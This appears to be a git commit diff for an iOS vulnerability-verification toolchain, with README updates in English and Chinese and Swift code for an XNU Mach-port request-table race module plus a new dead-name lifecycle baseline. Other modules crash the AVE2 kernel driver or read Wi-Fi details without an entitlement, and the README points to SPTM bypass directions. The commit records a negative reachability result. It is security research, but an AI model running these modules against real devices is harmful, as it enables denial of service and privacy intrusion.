All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness. All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
**iOS 27.2 firmware diff (27.0.1 vs 27.2, iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md). The update carries 162 advisory CVEs; 93 of 303 common kexts changed text size. Confirmed fix sites: 112705 clamps `NumberOfTemporalLayers` to 0…7 (`iNumberOfTemporalLayers <= 7` assertion), 113910 adds `chunk %u produced %lld of %lld expected bytes`, 112507 adds `ipr != NULL` / `table != NULL` in `ipc_misc.c`. The kernel's `__DATA_SPTM` segment is byte-identical, but the separate `sptm.t8160` firmware changed from SPTM-820.0.22 to **820.40.24** (+64 KiB: DART/IOMMU, TLBI and hibernation hardening, not in the CVE list). MIE/MTE policy in SPTM/XNU is unchanged. See [docs/SPTM-MIE-27.2.md](docs/SPTM-MIE-27.2.md) for the deep dive and candidate bypass directions.
## Module semantics ## Module semantics
+10 -4
View File
@@ -2,7 +2,7 @@
[English](README.md) [English](README.md)
iOS 17.0–27.1 漏洞验证与设备修改工具链,**56 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。 组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
@@ -130,15 +130,21 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
``` ```
设备安装:bundle id `com.jbjf.cinder27`(v2.1 build 4),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 设备安装:bundle id `com.jbjf.cinder27`(v2.3 build 7),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
## 验证状态 ## 验证状态
56 模块全量回归(模拟器构建):**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。 57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。 34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
**iOS 27.2 固件 diff(27.0.1 vs 27.2,iPhone19,7):** [docs/IOS27.2-KERNEL-DIFF.md](docs/IOS27.2-KERNEL-DIFF.md)。本次更新含 162 条公告 CVE;303 个共有 kext 中 93 个 `__TEXT_EXEC` 尺寸变化。已确认的修复点:112705 把 `NumberOfTemporalLayers` 收紧到 0…7(断言 `iNumberOfTemporalLayers <= 7`),113910 新增 `chunk %u produced %lld of %lld expected bytes`,112507 在 `ipc_misc.c` 新增 `ipr != NULL` / `table != NULL`。kernel 里的 `__DATA_SPTM` 段两版字节一致,但独立的 `sptm.t8160` 固件从 SPTM-820.0.22 升到 **820.40.24**(+64 KiB:DART/IOMMU、TLBI 与休眠加固,不在 CVE 列表里)。SPTM/XNU 的 MIE/MTE 策略没有变化。深度分析与候选 bypass 方向见 [docs/SPTM-MIE-27.2.md](docs/SPTM-MIE-27.2.md)。
## 模块语义 ## 模块语义
+10 -10
View File
@@ -413,28 +413,27 @@ enum Catalog {
reach: .kernel, reach: .kernel,
tier: 2, tier: 2,
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。", summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。", notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
run: { ctx in run: { ctx in
let baseline = KernelIPC.baseline() let baseline = KernelIPC.baseline()
ctx.arm("kern.ipc", "race 6s") ctx.arm("kern.ipc", "race 6s")
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48) let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
ctx.disarm("kern.ipc", "ops=\(stats.operations)") ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
var lines = [stats.summary, ""] var lines = [stats.summary, ""]
lines.append(tl("— 基线 —")) lines.append(tl("— 基线 —"))
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) { for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
lines.append("\(k): \(v)") lines.append("\(k): \(v)")
} }
if stats.notificationsRefused > 0 { if stats.armed == 0 && stats.notifications > 0 {
lines.append("") lines.append("")
lines.append(tl("— 平台限制 —")) lines.append(tl("— 可达性判定 —"))
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。")) lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。")) lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,")) lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
} }
let headline: String let headline: String
if stats.notificationsRefused > 0 { if stats.armed == 0 && stats.notifications > 0 {
headline = tl("分配/拆除路径可用,通知武装被平台拒绝") headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
} else if !stats.kernelErrors.isEmpty { } else if !stats.kernelErrors.isEmpty {
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码") headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
} else { } else {
@@ -721,6 +720,7 @@ enum Catalog {
extension Catalog { extension Catalog {
static var groups: [(String, [ExploitModule])] { static var groups: [(String, [ExploitModule])] {
[ [
(tl("新收录"), arrivals),
("CoreGraphics", coreGraphics), ("CoreGraphics", coreGraphics),
(tl("ImageIO · 图像解析"), imageIO), (tl("ImageIO · 图像解析"), imageIO),
(tl("ImageIO · 纹理与编码"), imageIO2), (tl("ImageIO · 纹理与编码"), imageIO2),
+41 -2
View File
@@ -54,12 +54,12 @@ extension Catalog {
lines.append("EncoderUsage=\(su) RCMode=\(sr)") lines.append("EncoderUsage=\(su) RCMode=\(sr)")
var accepted: [Int] = [] var accepted: [Int] = []
for n in [64, 1024, 16462, 16463] { for n in [0, 1, 7, 8, 64, 1024, 16462, 16463] {
let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n)) let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))") lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))")
if st == 0 { accepted.append(n) } if st == 0 { accepted.append(n) }
} }
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4") ctx.disarm("ave.ntl", "accepted=\(accepted.count)/8")
let verdict: String let verdict: String
if accepted.contains(16463) { if accepted.contains(16463) {
verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic") verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
@@ -234,6 +234,45 @@ extension Catalog {
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")]) evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
}), }),
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
ExploitModule(
id: "kern.ipc.lifecycle",
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
cve: "CVE-2026-112507",
component: "XNU · ipc_port request table",
primitive: .probe,
reach: .kernel,
tier: 3,
summaryZh: """
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
""",
notesZh: """
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
""",
run: { ctx in
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
let r = KernelIPC.lifecycle()
ctx.disarm("kern.ipc.lifecycle",
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
let head: String
if r.requestKR != KERN_SUCCESS {
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
} else if r.deadName && r.reused {
head = tl("dead-name 送达 · 名字被复用")
} else if r.deadName {
head = tl("dead-name 送达 · 名字未复用")
} else {
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
}
return ModuleOutcome(
headline: head,
detail: r.lines.joined(separator: "\n"),
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
tl("dead-name 消息 id = 0x40000002"),
tl("复用只记录,不构成本身结论")])
}),
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ─────────────── // ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
ExploitModule( ExploitModule(
id: "sc.dynamicstore", id: "sc.dynamicstore",
+97 -9
View File
@@ -40,15 +40,20 @@ enum KernelIPC {
var deallocations: Int = 0 var deallocations: Int = 0
var budgetExhausted = false var budgetExhausted = false
var notificationsRefused = 0 var notificationsRefused = 0
/// Registrations that actually succeeded. Zero means the request-table path was
/// never armed, so the run says nothing about 112507.
var armed = 0
var kernelErrors: [String: Int] = [:] var kernelErrors: [String: Int] = [:]
var summary: String { var summary: String {
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) " var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
s += "send=\(sends) dealloc=\(deallocations)" s += "send=\(sends) dealloc=\(deallocations)"
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") } if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
if notificationsRefused > 0 { if armed == 0 && notifications > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,") s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。") s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
} else if notificationsRefused > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
} }
if !kernelErrors.isEmpty { if !kernelErrors.isEmpty {
s += "\n" + kernelErrors.sorted { $0.value > $1.value } s += "\n" + kernelErrors.sorted { $0.value > $1.value }
@@ -82,8 +87,8 @@ enum KernelIPC {
/// send into the survivors, then release everything. Returns the counters it produced. /// send into the survivors, then release everything. Returns the counters it produced.
private static func ring(task: mach_port_t, depth: Int, budget: inout Int, private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
refused: inout Int, refused: inout Int,
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) { record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
var alloc = 0, notify = 0, send = 0, dealloc = 0 var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
var ports: [mach_port_name_t] = [] var ports: [mach_port_name_t] = []
ports.reserveCapacity(depth) ports.reserveCapacity(depth)
@@ -109,7 +114,7 @@ enum KernelIPC {
let kr1 = mach_port_request_notification( let kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev) mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } } if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) } if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
notify += 1 notify += 1
@@ -117,7 +122,7 @@ enum KernelIPC {
let kr2 = mach_port_request_notification( let kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p, task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2) mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } } if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) } if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
notify += 1 notify += 1
} }
@@ -164,7 +169,7 @@ enum KernelIPC {
} }
dealloc += 1 dealloc += 1
} }
return (alloc, notify, send, dealloc) return (alloc, notify, send, dealloc, armed)
} }
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
@@ -184,7 +189,7 @@ enum KernelIPC {
} }
DispatchQueue.concurrentPerform(iterations: workers) { _ in DispatchQueue.concurrentPerform(iterations: workers) { _ in
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0 var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
while Date() < deadline { while Date() < deadline {
lock.lock() lock.lock()
@@ -205,6 +210,7 @@ enum KernelIPC {
localNotify += result.notify localNotify += result.notify
localSend += result.send localSend += result.send
localDealloc += result.dealloc localDealloc += result.dealloc
localArmed += result.armed
localOps += 4 localOps += 4
lock.lock() lock.lock()
@@ -218,6 +224,7 @@ enum KernelIPC {
stats.notifications += localNotify stats.notifications += localNotify
stats.sends += localSend stats.sends += localSend
stats.deallocations += localDealloc stats.deallocations += localDealloc
stats.armed += localArmed
lock.unlock() lock.unlock()
} }
@@ -255,4 +262,85 @@ enum KernelIPC {
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)" out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
return out return out
} }
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
/// receive right while the send right survives, send into the dead name, then receive
/// the notification. No race, no frees of live request-table entries — this is the
/// sequence the 112507 race has to stay correct through.
///
/// The second half frees the dead name and measures whether the kernel hands the same
/// numeric name back to the next allocation. Name reuse is normal; the point is to
/// record the baseline before the racer starts churning the namespace.
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
var lines: [String] = []
let task = mach_task_self_
var deadName = false
var reused = false
var notify: mach_port_t = 0
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &notify)
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
var target: mach_port_t = 0
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
lines.append("target receive: \(name(kr)) name=\(target)")
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
kr = mach_port_insert_right(task, target, target,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
lines.append("insert send right: \(name(kr))")
var prev: mach_port_t = 0
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
kr = requestKR
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
lines.append("drop receive right: \(name(kr))")
var hdr = mach_msg_header_t()
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
hdr.msgh_remote_port = target
hdr.msgh_local_port = 0
hdr.msgh_id = 0
kr = mach_msg_send(&hdr)
lines.append("send to dead name: \(name(kr))")
// DEAD_NAME fires when the last send right is released, not when the receive
// right is dropped. Release it before waiting, otherwise the receive always
// times out and the baseline records a false negative.
kr = mach_port_deallocate(task, target)
lines.append("release last send right: \(name(kr))")
var buffer = [UInt8](repeating: 0, count: 256)
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
0, mach_msg_size_t(raw.count), notify, 200, 0)
}
lines.append("receive notification: \(name(kr))")
if kr == KERN_SUCCESS {
let got = buffer.withUnsafeBytes {
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
}
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
}
for _ in 0..<64 {
var p: mach_port_t = 0
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
if p == target { reused = true; mach_port_destroy(task, p); break }
mach_port_destroy(task, p)
}
}
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
mach_port_destroy(task, notify)
return (lines, deadName, reused, requestKR)
}
} }
+10 -1
View File
@@ -196,7 +196,7 @@ enum ModuleText {
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send. iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
""", """,
notes: """ notes: """
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index. The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
"""), """),
"kern.decmpfs": Row( "kern.decmpfs": Row(
@@ -550,6 +550,15 @@ enum ModuleText {
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved. This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
"""), """),
"kern.ipc.lifecycle": Row(
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
summary: """
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
""",
notes: """
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
"""),
"sc.dynamicstore": Row( "sc.dynamicstore": Row(
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)", title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
summary: """ summary: """
+1
View File
@@ -205,6 +205,7 @@ enum RuntimeText {
"UDID (设备)": "UDID (device)", "UDID (设备)": "UDID (device)",
"XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers", "XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
